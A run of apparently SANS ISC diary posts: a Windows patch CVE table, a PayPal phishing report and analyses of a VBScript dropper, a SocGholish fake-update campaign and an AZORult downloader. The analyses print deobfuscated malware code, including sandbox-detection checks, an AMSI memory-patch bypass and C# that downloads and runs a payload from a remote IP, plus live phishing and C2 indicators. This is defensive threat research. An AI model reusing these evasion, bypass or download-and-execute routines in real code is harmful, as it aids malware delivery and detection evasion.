%%cve:2020-0689%% Yes No Less Likely Less Likely Important 8.2 7.6
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2020-0681%% No No More Likely More Likely Critical 7.5 6.7
%%cve:2020-0734%% No No More Likely More Likely Critical 7.5 6.7
Remote Desktop Services Remote Code Execution Vulnerability
%%cve:2020-0655%% No No - - Important 8.0 7.2
Scripting Engine Memory Corruption Vulnerability
%%cve:2020-0673%% No No - - Critical 6.4 5.8
%%cve:2020-0674%% Yes Yes Detected Detected Critical 6.4 5.9
%%cve:2020-0710%% No No - - Critical 4.2 3.8
%%cve:2020-0711%% No No - - Critical 4.2 3.8
%%cve:2020-0712%% No No - - Critical 4.2 3.8
%%cve:2020-0713%% No No - - Critical 4.2 3.8
%%cve:2020-0767%% No No - - Critical 4.2 3.8
Surface Hub Security Feature Bypass Vulnerability
%%cve:2020-0702%% No No Less Likely Less Likely Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2020-0691%% No No Unlikely Unlikely Important 4.7 4.2
%%cve:2020-0719%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-0720%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-0721%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-0722%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-0723%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-0724%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-0725%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-0726%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-0731%% No No More Likely More Likely Important 7.0 6.3
Win32k Information Disclosure Vulnerability
%%cve:2020-0716%% No No - - Important 5.5 5.0
%%cve:2020-0717%% No No Less Likely Less Likely Important 5.5 5.0
Windows Backup Service Elevation of Privilege Vulnerability
%%cve:2020-0703%% No No Less Likely Less Likely Important 7.8 7.0
Windows COM Server Elevation of Privilege Vulnerability
%%cve:2020-0685%% No No Less Likely Less Likely Important 7.0 6.3
Windows Client License Service Elevation of Privilege Vulnerability
%%cve:2020-0701%% No No Less Likely Less Likely Important 7.8 7.0
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2020-0657%% No No More Likely More Likely Important 7.8 7.0
Windows Common Log File System Driver Information Disclosure Vulnerability
%%cve:2020-0658%% No No - - Important 5.5 5.0
Windows Data Sharing Service Elevation of Privilege Vulnerability
%%cve:2020-0659%% No No - - Important 7.8 7.0
%%cve:2020-0747%% No No Less Likely Less Likely Important 7.8 7.0
Windows Elevation of Privilege Vulnerability
%%cve:2020-0737%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0739%% No No Less Likely Less Likely Important 7.8 7.0
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2020-0753%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0754%% No No Less Likely Less Likely Important 7.8 7.0
Windows Error Reporting Manager Elevation of Privilege Vulnerability
%%cve:2020-0678%% No No Less Likely Less Likely Important 7.8 7.0
Windows Function Discovery Service Elevation of Privilege Vulnerability
%%cve:2020-0679%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0680%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0682%% No No Less Likely Less Likely Important 7.8 7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2020-0744%% No No Less Likely Less Likely Important 5.5 5.0
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2020-0715%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-0745%% No No More Likely More Likely Important 7.8 7.0
%%cve:2020-0792%% No No Less Likely Less Likely Important 7.0 6.3
Windows Hyper-V Denial of Service Vulnerability
%%cve:2020-0661%% No No Less Likely Less Likely Important 6.8 6.1
%%cve:2020-0751%% No No - - Important 6.0 5.4
Windows IME Elevation of Privilege Vulnerability
%%cve:2020-0707%% No No Less Likely Less Likely Important 7.8 7.0
Windows Imaging Library Remote Code Execution Vulnerability
%%cve:2020-0708%% No No Less Likely Less Likely Important 7.8 7.0
Windows Information Disclosure Vulnerability
%%cve:2020-0698%% No No Less Likely Less Likely Important 5.5 5.0
Windows Installer Elevation of Privilege Vulnerability
%%cve:2020-0683%% Yes No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-0686%% Yes No Less Likely Less Likely Important 7.0 6.3
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-0668%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0669%% No No - - Important 7.8 7.0
%%cve:2020-0670%% No No - - Important 7.8 7.0
%%cve:2020-0671%% No No - - Important 7.8 7.0
%%cve:2020-0672%% No No - - Important 7.8 7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2020-0736%% No No - - Important 5.5 5.0
Windows Key Isolation Service Information Disclosure Vulnerability
%%cve:2020-0675%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0676%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0677%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0748%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0755%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0756%% No No Less Likely Less Likely Important 5.5 5.0
Windows Malicious Software Removal Tool Elevation of Privilege Vulnerability
%%cve:2020-0733%% No No - - Important    
Windows Modules Installer Service Information Disclosure Vulnerability
%%cve:2020-0728%% No No Less Likely Less Likely Important 3.3 3.0
Windows Network Driver Interface Specification (NDIS) Information Disclosure Vulnerability
%%cve:2020-0705%% No No Less Likely Less Likely Important 5.5 5.0
Windows Remote Code Execution Vulnerability
%%cve:2020-0662%% No No - - Critical 8.6 7.7
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability
%%cve:2020-0660%% No No Less Likely Less Likely Important 7.5 6.7
Windows SSH Elevation of Privilege Vulnerability
%%cve:2020-0757%% No No Less Likely Less Likely Important 8.2 7.4
Windows Search Indexer Elevation of Privilege Vulnerability
%%cve:2020-0666%% No No - - Important 7.8 7.0
%%cve:2020-0667%% No No - - Important 7.8 7.0
%%cve:2020-0735%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0752%% No No Less Likely Less Likely Important 7.8 7.0
Windows User Profile Service Elevation of Privilege Vulnerability
%%cve:2020-0730%% No No Less Likely Less Likely Important 6.3 5.7
Windows Wireless Network Manager Elevation of Privilege Vulnerability
%%cve:2020-0704%% No No Less Likely Less Likely Important 7.8 7.0

Total Vulnerabilities: 99

References:

[1] https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV200001

--
Renato Marinho
Morphus Labs| LinkedIn| Twitter

1 Comments

Published: 2020-02-10

Current PayPal phishing campaign or "give me all your personal information"

One of my colleagues sent me a new PayPal phishing e-mail today. Although it was fairly usual, as phishing e-mails go, since the campaign is still active and since it shows the current "let’s take all that we can get" mentality of the attackers quite well, I thought it was worth a short diary.

As you may see above, the e-mail used the standard phishing hook of "your account was locked". The link in the message pointed to a bit.ly address, which pointed to a redirection mechanism, which finally pointed the browser to the phishing page itself (see IoCs at the end for the URLs).

The first page looked like the usual PayPal login screen. The only slightly interesting point related to it is that its authors didn’t even bother to write a regex or any other check for the e-mail field.

After "logging in" the usual general information gathering form was displayed.

This page was followed by another usual form - this time one for filling in credit card details.

So far, it looked like any other phishing campaign ever sent. However, the pages that followed illustrated quite well that it was a modern campaign. That is because over the years, phishing authors seem to have learned that once they hook a phish, they should try to get all the information they can from them. This is the reason why many current campaigns don’t stop after getting the usual credit card information, but go further.

In this case, the phishers continued by trying to get the user to fill in a social security number and the card PIN.

They didn’t stop even there however, and on the last page asked the user to upload a photo of a valid ID or credit card. What might be a bit unfortunate from the standpoint of a potential victim is that after the user uploads a file, the page is refreshed but no confirmation is displayed. This means that a less vigilant user might upload multiple photos of documents while thinking that their previous attempts were invalid for some reason.

Although I reported the phishing to PayPal, it may be a while before they manage to take it down. In the meantime, you may use the following URLs to have a look at the phishing page yourselves and/or check whether someone in your organization wasn’t the target of the same campaign.

 

Indicators of Compromise (IoCs)

https://bit.ly/2SwO61R
https://nadhirotultaqwa.com/usrah/redirect.php
https://www.leemou.com/files/selector/

-----------
Jan Kopriva
@jk0pr
Alef Nula

1 Comments

Published: 2020-02-08

After Action Review

I recently read an article from the Harvard Business Review Learning in the Thick of It that discussed the value of an After Action Review (AAR). It describes ways the US Army has used these intentional exercises to improve in future missions. As outlined in the article, an AAR is “a method for extracting lessons from one event or project and applying them to others.”

I continue to benefit from applying this practice regularly and have written about this concept before in the below Diary posts. 

   An Occasional Look in the Rear View Mirror

   Get Wisdom as Cheaply as You Can

I believe this practice if followed, can serve as a benefit and not a burden. I find these most successful when everyone actively participates intending to make the next time be the best time. Specific actions that can be used when applying this concept in your organization include

  • ”Lessons must first and foremost benefit the team that extracts them. 
  • The AAR process must start at the beginning of the activity. 
  • Lessons must explicitly link to future actions. 
  • And leaders must hold everyone, especially themselves, accountable for learning.”

In what project can you apply the practice of an After Action Review next week? Engage with us in the comments section below!

 

Russell Eubanks

ISC Handler

@russelleubanks

2 Comments

Published: 2020-02-07

Sandbox Detection Tricks & Nice Obfuscation in a Single VBScript

I found an interesting VBScript sample that is a perfect textbook case for training or learning purposes. It implements a nice obfuscation technique as well as many classic sandbox detection mechanisms. The script is a dropper: it extracts from its code a DLL that will be loaded if the script is running outside of a sandbox. Its current VT score is 25/57 (SHA256: 29d3955048f21411a869d87fb8dc2b22ff6b6609dd2d95b7ae8d269da7c8cc3d)[1].

Let’s first have a look at the sandbox detection tricks. A bunch of functions is called one by one. First, the number of CPU (cores) is tested:

(Note: the code has been deobfuscated and beautified)

Function CheckAvailableCPUs() 
  TnHWRZVH=Cint("0")
  Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_Processor", , Cint("48"))
  For Each XqDiZDh In uxSpQuH
    If XqDiZDh.NumberOfCores < Cint("2") Then
      TnHWRZVH=True
    End If
  Next
  If TnHWRZVH Then
    WaitSeconds
  Else
  End If
End Function

Having only one core in 2020 is indeed suspicious. Even entry-level computers have at least a dual-core CPU.

Then, the available memory and disk storage are tested in the same way using WMI:

Function CheckAvailableMemory()
  Set VRfvQEHCs=GetObject("winmgmts:\\.\oot\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_ComputerSystem")
  For Each XqDiZDh In uxSpQuH
    zhlOwdMZ=zhlOwdMZ+Int((XqDiZDh.TotalPhysicalMemory) / CLng("1048576"))+Cint("1")
  Next
  If zhlOwdMZ < Cint("1024") Then
    WaitSeconds
    WaitSeconds
  End If
End Function

1GB is really not relevant today! And the available disk storage:

Function CheckAvailableStorage()
  Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_LogicalDisk")
  For Each XqDiZDh In uxSpQuH
    zhlOwdMZ=zhlOwdMZ+Int(XqDiZDh.Size / Clng("1073741824"))
  Next
  If zhlOwdMZ < Cint("60") Then
    WaitSeconds
End If
End Function

60GB is a bare minimum for the script to continue.

Then, it tries also to detect suspicious running processes. The list is quite interesting and contains most of the tools used by reversers, security analysts or in sandboxes:

Function SearchProcesses()
  FtfIrLKSv=Array("cis.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe", \
                  "fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe", \
                  "apimonitor.exe", "GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe", \
                  "apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe", \
                  "sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe", \
                  "sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe", \
                  "procanalyzer.exe", "spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe", \
                  "idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe", \
                  "bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe", \
                  "sython.exe", "capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe", \
                  "taslogin.exe","cffexplorer.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe", \
                  "tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe", \
                  "totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe", \
                  "raptorclient.exe","txplatform.exe","dnf.exe"," lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe", \
                  "vx.exe","dumpcap.exe", "lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe", \
                  "ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe", \
                  "fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe", \
                  "Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")
  Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_Process")
  For Each XqDiZDh In uxSpQuH
    For Each CMUDEKiI In FtfIrLKSv
      If XqDiZDh.Name=CMUDEKiI Then
        WaitSeconds
      End If
    Next
  Next
End Function

Note that some of them are not security tools (ex: totalcmd.exe) but may reflect a system used by a power-user or a system admin.

In all the functions above, you can see calls to another function ‘WaitSeconds’. It just pauses the script. I presume that the goal is to slow down the execution to try to reach the sandbox timeout. This means that the script execution will be automatically be suspended (without a suspicious “exit”).

Now, let’s have a look at the encoding used to hide the malicious DLL file. The main function used for this purpose looks like this:

Function DumpPEFile()
  Dim HEcNUGQa
  Dim zMObzBWv
  Set HEcNUGQa=CreateObject("ADODB.Stream")
  HEcNUGQa.Type=Cint("2")
  HEcNUGQa.Open()
  HEcNUGQa.WriteText pPIMlTd(KKIpXPPlJ)
  HEcNUGQa.WriteText pPIMlTd(ZiDMLJu)
  HEcNUGQa.WriteText pPIMlTd(DxhGnunhiY)
  HEcNUGQa.WriteText pPIMlTd(fBkPqDgf)
  HEcNUGQa.WriteText pPIMlTd(aPRPvahmZ)
  ...
  (hundreds of line of the same type)
  ...
  HEcNUGQa.WriteText pPIMlTd(ALyuadAJty)
  HEcNUGQa.WriteText pPIMlTd(oCVjsNkH)
  HEcNUGQa.WriteText pPIMlTd(GxLbWFw)
  HEcNUGQa.WriteText pPIMlTd(Xqfxdkb)
  HEcNUGQa.WriteText pPIMlTd(sBNoqL)
  HEcNUGQa.Position=Cint("0")
  Set zMObzBWv=CreateObject("ADODB.Stream")
  zMObzBWv.Type=Cint("2")
  zMObzBWv.Charset="ISO-8859-1"
  zMObzBWv.Open()
  HEcNUGQa.CopyTo(zMObzBWv)
  zMObzBWv.SaveToFile TemporaryFolder+"wVo.txt", Cint("2")
  HEcNUGQa.Close()
  zMObzBWv.Close()
End Function

Basically, the result of the function pPIMITd() is appended to build a big buffer that is dumped into a file. The pPIMITd() function looks like this:

Function pPIMlTd(fQPAqBU)
  bBzIKdZbm=0
  vJSObFl=""
  Do While bBzIKdZbm =< UBound(fQPAqBU)
    vJSObFl=vJSObFl+ChrW(fQPAqBU(bBzIKdZbm)-342152323)
    bBzIKdZbm=bBzIKdZbm+1
  Loop
  pPIMlTd=vJSObFl
End Function

The parameter expected by this function is an array. Let’s test with the first occurrence of pPIMITd and the array ‘KKIpXPPlJ’. It looks like:

KKIpXPPlJ=Array(ktFxTLfnyfS,hBEIwAlMwVmyZp,elpiUMhGM,nYHPZHPbULMzMks,kvlmawULEvI,
                yKPFeFcWsKKS,yKPFeFcWsKKS,yKPFeFcWsKKS,uKPFeFcWsKKS,yKPFeFcWsKKS,
                ...
                uBEIwAlMwVmyZp,fvlmawULEvI,tvlmawULEvI)

In this array, each variable is defined as a constant in the script. Let’s take again the first element of the array: 

const  ktFxTLfnyfS=342152403

In pPIMITd(), elements of the array are processed one by one and appended to a buffer via this line:

ChrW(fQPAqBU(bBzIKdZbm)-342152323) 

where 342152323 is subtracted from the value of the array element:

342152403 - 342152323 = 80.

The result is:

ChrW(80) = ‘P’

The second one: 342152398 - 342152323 = 75

ChrW(75) = ‘K’

And so on... You may recognize the two first letters of a ZIP archive ('PK'). The DLL is indeed compressed. Once dumped on disk, the script decompress it:

Function DecompressDLL()
  Dim oUpYypRUI
  Set oUpYypRUI=CreateObject("Scripting.FileSystemObject")
  oUpYypRUI.MoveFile TemporaryFolder+"wVo.txt", TemporaryFolder+"wVo.txt.zip"
  Set DYCYgzrHa=CreateObject("Shell.Application")
  Set colItems=DYCYgzrHa.NameSpace(TemporaryFolder+"wVo.txt.zip").Items()
  DYCYgzrHa.NameSpace(TemporaryFolder).copyHere colItems, 16
  oUpYypRUI.DeleteFile TemporaryFolder+"wVo.txt.zip", True
End Function

Finally, the malicious DLL is registered:

Function RegisterDLL()
  Set VRfvQEHCs=GetObject("winmgmts:Win32_Process")
  VRfvQEHCs.Create "regsvr32.exe -s "+ TemporaryFolder+"WSr.txt",,,processid
End Function

The DLL has a score of 38/68 (SHA256:342dc3cd2e1a91179f74df7bdb0fe68fe5de43063821dd4152b7b00d19244eed)[2].

This script executed perfectly in my sandbox and the DLL was dumped and loaded. But I like to check deeper and understand the obfuscation techniques created by malware developers. I found this one interesting to share with our readers.

[1] https://www.virustotal.com/gui/file/29d3955048f21411a869d87fb8dc2b22ff6b6609dd2d95b7ae8d269da7c8cc3d/detection
[2] https://www.virustotal.com/gui/file/342dc3cd2e1a91179f74df7bdb0fe68fe5de43063821dd4152b7b00d19244eed/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

2 Comments

Published: 2020-02-05

Fake browser update pages are "still a thing"

Introduction

SocGholish is a term I first saw in signatures from the EmergingThreats Pro ruleset to describe fake browser update pages used to distribute malware like a NetSupport RAT-based malware package or Chthonic banking malware.  Although this activity has continued into 2020, I hadn't run across an example until this week.


Shown above:  A recent infection chain from the SocGholish campaign.

Fake browser update pages

The beginning of an infection chain starts with a legitimate website with injected code from a file sent by of its URLs.  The URL most often ends with a .js.  The injected code is highly-obfuscated, and I was unable to figure out where it came from on the legitimate site when I generated an infection in my lab.  The end result looked like the image below.


Shown above:  Fake browser update page seen after visiting a legitimate website.

The downloaded zip archive contained a JavaScript file with heavily obfuscated Javascript.  This happened when I used Firefox as my web browser.  If you use Google Chrome, the fake browser page sends an HTA file instead of a zip archive.  In my example, the fake Firefox update page sent a zip archive containing a file named Firefox.js for the malware downloader.


Shown above: The downloaded zip archive and extracted .js file.

Infection traffic

Infection traffic was typical of what I've seen before with this campaign.  The malware downloader is very picky.  It knows which machines I've infected before, so when I use a computer that I've infected once or twice before, it won't deliver the follow-up malware.  Also, this .js-based downloader (or HTA-based downloader if you had a fake Chrome update page) is extremely VM-aware.  It's rare for me to get a full infection chain of events.  In this case, I got the fake browser update page on one computer, then I switched to another computer to get Firefox.js to deliver the follow-up malware.


Shown above:  Gate URLs and a fake Firefox update page from the SocGholish campaign shown in a Fiddler capture.


Shown above:  Gate domain and fake Firefox update page from the SocGholish campaign from a pcap shown in Wireshark.


Shown above: Traffic from infecting a host with the Firefox.js file.


Shown above:  Data returned from the server contacted after running Firefox.js on my lab host.

This NetSupport RAT-based malware package was sent as a 10MB ASCII text file consisting of hexadecimal characters.  This is encoded data, and the file was saved to my lab host and decoded to a zip archive containing the malware package.  This ASCII data and decoded zip archive were deleted from my infected lab host by the time I performed post-infection forensics.

Post-infection forensics

The NetSupport RAT-based malware package was kept persistent through the Windows registry and stored in a folder under the infected user's AppData\Roaming directory.


Shown above:  NetSupport RAT-based malware package persistent on the infected windows host.


Shown above:  NetSupport RAT-based malware package stored under the infected user's AppData\Roaming directory.

Indicators from the infection

Gate activity leading to fake browser update page:

  • 130.0.234[.]134 port 443 - sodality.mandmsolicitors[.]com - URLs from gate domain (HTTPS)

Fake browser update page:

  • 188.120.239[.]154 port 443 - trace.mukandratourandtravels[.]com - initial URL sent as HTTPS
  • 188.120.239[.]154 port 80 - trace.mukandratourandtravels[.]com - follow-up URLs for fake browser update page
  • Note: The domain name used for these fake update pages frequently changes.

URLs caused by Firefox.js (malware downloader):

  • 130.0.233[.]178 port 80 - 2e2be1cd.auth.codingbit[.]co[.]in - POST /submit.aspx
  • Note: The first part of the domain name (with the hex characters) is different for each infection.

Traffic generated by NetSupport RAT-based malware package:

  • 81.17.21[.]98 port 443 - 81.17.21[.]98 - POST http://81.17.21[.]98/fakeurl.htm
  • 62.172.138[.]35 port 80 - geo.netsupportsoftware[.]com - GET /location/loca.asp (not inherently malicious)

SHA256 hash: 6b89a2c1650012d7953f04f39ef7ecd97341114480918602d041593a597442d7

  • File size: 32,231 bytes
  • File name: Firefox.Update.4ee488.zip
  • File description: Zip archive sent by fake browser update page
  • Note: File name is different for each download (file hash might be as well)

SHA256 hash: 69ea88be502bd00e87aef75e1f41da3e5e0bdb6946d18db5a4a52d919e2dc79b

  • File size: 90,690 bytes
  • File name: Firefox.js
  • File description: JavaScript-based malware downloader extracted from downloaded zip archive
  • Note: File hash might be different on each occasion

SHA256 hash: 49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3

  • File size: 105,848 bytes
  • File location: C:\Users\[username]\AppData\Roaming\XDk7Fyz6\presentationhost.exe
  • File description: NetSupport Manager RAT executable

Final words

This is a long-running campaign that continually evolves.  To get an idea how it has changed since last year, view my previous ISC diary I wrote about this campaign in February 2019.

Computers running Windows 10 with the latest updates and recommended security settings are not very vulnerable to this threat.  Default security settings for Chrome and Firefox usually block this activity.  However, the criminals behind this campaign keep updating their tactics as they attempt to evade detection, and these fake browser pages sometimes slip through.  If someone clicked through enough security warnings, they might very well infect a vulnerable Windows host.

The associated malware, along with a pcap and Fiddler capture of the traffic (.saz file) can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

1 Comments

Published: 2020-02-03

Analysis of a triple-encrypted AZORult downloader

I recently came across an interesting malicious document. Distributed as an attachment of a run-of-the-mill malspam message, the file with a DOC extension didn’t look like anything special at first glance. However, although it does use macros as one might expect, in the end, it turned out not to be the usual simple maldoc as the following chart indicates.

The message to which the file was attached was fairly uninteresting as it used one of the standard malspam/phishing types of text (basically it was a “request for quotation”, as you may see in the following picture) and there was no attempt made to mask or forge the sender in the SMTP headers.

After an initial analysis, it became obvious that the DOC extension was not genuine and that the file was really a Rich Text File (RTF). When opening such a file, one usually doesn’t expect Excel to start up and ask user to enable macros. However, as you may have guessed, this was exactly what opening of this RTF resulted in. In fact, after it’s opening, not one, but four requests from Excel to enable macros were displayed one after the other.

Only after these dialogs were dealt with did Word finish loading the seemingly nearly empty RTF and displayed it.

The behavior mentioned above was the result of four identical Excel spreadsheets embedded as OLE objects in the RTF body…

…with the “\objupdate” mechanism[1] used to open each of them in turn when the RTF was loaded.

This technique of repeatedly opening the “enable macros” dialog using multiple OLE objects in a RTF file is not new in malicious code[2]. Although it isn’t too widely used, displaying of seemingly unending pop-ups would probably be one of the more effective ways to get users to allow macros to run, since they might feel that it would be the only way to stop additional prompts from displaying.

After dumping out one of the spreadsheets using rtfobj[3], the XLS itself could be analyzed using oledump[5].

The only macro present in the XLS file had a very simple structure. It was only supposed to decrypt and decode a payload and executed it using the VBA “shell” command. One small point of interest was that the payload, which it was supposed to decrypt, was not contained in the macro itself but rather in one of the cells (136, 8) of the spreadsheet. The encryption algorithm used in the macro was quite an elementary one as you may see from the following code. For completeness sake, it should be mentioned that second cell referenced in the code (135, 8) only contained the string “&H” used to mark values as hexadecimal in VBA.

Public belive As String
		 
Sub Workbook_Open()  
	haggardly
End Sub
			   
Private Sub haggardly()
	Dim psychoanalytic As Long: Dim unwelcomed As String: psychoanalytic = 1
	GoTo target
			 
	narcomania:
		unwelcomed = unwelcomed & Chr(CInt(Sheets("EnZWr").Cells(135, 8).Value & Mid(belive, psychoanalytic, 2)) - 41)
		psychoanalytic = psychoanalytic + 2
		GoTo target

	target:
		belive = Sheets("EnZWr").Cells(136, 8).Value
		If psychoanalytic <= Len(belive) Then
			GoTo narcomania
		Else
			Shell unwelcomed
			Exit Sub
		End If
		
End Sub

The code, which was supposed to be decrypted and executed by the macro, turned out not to be the final payload of the maldoc, but rather an additional decryption envelope – this time a PowerShell one. The encryption algorithm used in it was not very complex either. However, since it was almost certainly intended as an obfuscation mechanism rather than anything else, cryptographic strength would be irrelevant to its purpose.

powershell -WindowStyle Hidden 
function rc1ed29
{
	param($o6fb33)$jdc39='k7ce46';
	$t2e762='';
	for ($i=0; $i -lt $o6fb33.length; $i+=2)
	{
		$c48e2=[convert]::ToByte($o6fb33.Substring($i,2),16);
		$t2e762+=[char]($c48e2 -bxor $jdc39[($i/2)%$jdc39.length]);
	}
	return $t2e762;
}

$xe549 = '1e440a0b...data omitted...075e494b';

$xe5492 = rc1ed29($xe549);
Add-Type -TypeDefinition $xe5492;
[bb7f287]::b9ca7ba();

Result of the previous code, or rather its decryption portion, was the final payload – a considerably obfuscated C# code. After deobfuscation, its main purpose become clear. It was supposed to download a file from a remote server, save it as c2ef3.exe in the AppData folder and execute it.

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Net;

public class bb7f287
{
	[DllImport("kernel32",EntryPoint="GetProcAddress")] public static extern IntPtr GetProcAddress(IntPtr key,string bdf77a);
	[DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr LoadLibrary(string mf43f84);
	[DllImport("kernel32", EntryPoint="VirtualProtect")] public static extern bool VirtualProtect(IntPtr od5551,UIntPtr j1698, uint ue73e, out uint s1b1c16);
	[DllImport("Kernel32.dll", EntryPoint="RtlMoveMemory", SetLastError=false)] static extern void RtlMoveMemory(IntPtr qfcea,IntPtr c37f1d,int s89a7);
	
	public static int b9ca7ba()
	{
		IntPtr amsi_library = LoadLibrary(amsi.dll);
		
		if(amsi_library==IntPtr.Zero)
		{
			goto download;
		}
		
		IntPtr amsiScanBuffer=GetProcAddress(amsi_library,AmsiScanBuffer));
		
		if(amsiScanBuffer==IntPtr.Zero)
		{
			goto download;
		}
		
		UIntPtr pointerLen=(UIntPtr)5;
		uint y372d=0;
		
		if(!VirtualProtect(amsiScanBuffer,pointerLen,0x40,out y372d))
		{
			goto download;
		}
		Byte[] byte_array={0x31,0xff,0x90};
		IntPtr allocatedMemory=Marshal.AllocHGlobal(3);
		Marshal.Copy(byte_array,0,allocatedMemory,3);
		RtlMoveMemory(new IntPtr(amsiScanBuffer.ToInt64()+0x001b),allocatedMemory,3);
		
		download: 
		
		WebClient gaa7c=new WebClient();
		string savePath=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)+"\\c2ef3"+DecryptInput("45521b00");
		gaa7c.DownloadFile(DecryptInput("034317150e19440653511a045f034d520d185a05504a7545447a37480606520652541a5c1b50"),savePath);
		ProcessStartInfo finalPayload=new ProcessStartInfo(savePath);
		Process.Start(finalPayload);
		return 0;
	}
	
	public static string DecryptInput(string input)
	{
		string key="k7ce46";
		string output=String.Empty;
		for(int i=0; i<input.Length; i+=2)
		{
			byte inputData=Convert.ToByte(input.Substring(i,2),16);
			output+=(char)(inputData ^ key[(i/2) % key.Length]);
		}
		return output;
	}
}

As you may have noticed, the link to the remote file was protected with a third layer of encryption using the same algorithm we have seen in the PowerShell envelope. After decryption, it came down to the following URL.

http://104.244.79.123/As/MT-209111.jpg

At the time of analysis, the file was no longer available at that URL, however information from URLhaus[5] and Any.Run[6] points firmly to it being a version of AZORult infostealer.

One interesting point related to the final payload of the downloader which should be mentioned is, that besides downloading the malicious executable, the code also tries to bypass the Microsoft Anti-Malware Scanning Interface (AMSI) using a well-known memory patching technique[7]. And that, given similarities of the code, it would seem that authors of the downloader re-used a code sample available online[8] for the bypass, instead of writing their own code.

In any case, with the use of Word, Excel, PowerShell and three layers of home-grown encryption, this downloader really turned out to be much more interesting than a usual malspam attachment.

 

Indicators of Compromise (IoCs)
MT-209111.DOC (403 kB)
MD5 - 2c93fb1a782b37146be53bd7c7a829da
SHA1 - 085518dabedac3abdb312fdd0049b7b5f9af037a

Embedded XLS spreadsheet (46 kB)
MD5 - ae79867244d9a3aae92a57da8cbb2655
SHA1 - 67ca2a50cc91ccd53f80bb6e29a9eae3c6128855

MT-209111.jpg / c2ef3.exe (837 kB)
MD5 - 2d9dc807216a038b33fd427df53100b6
SHA1 - 6a8e6246f70692d86a5ec5b37e293932a20ee0f3

Download URL
http://104.244.79.123/As/MT-209111.jpg

 

[1] https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
[2] https://www.zscaler.com/blogs/research/malicious-rtf-document-leading-netwiredrc-and-quasar-rat
[3] https://github.com/decalage2/oletools/wiki/rtfobj
[4] https://blog.didierstevens.com/programs/oledump-py/
[5] https://urlhaus.abuse.ch/url/286973/
[6] https://app.any.run/tasks/e823495e-eb8e-436d-b8e1-0193648e6036/
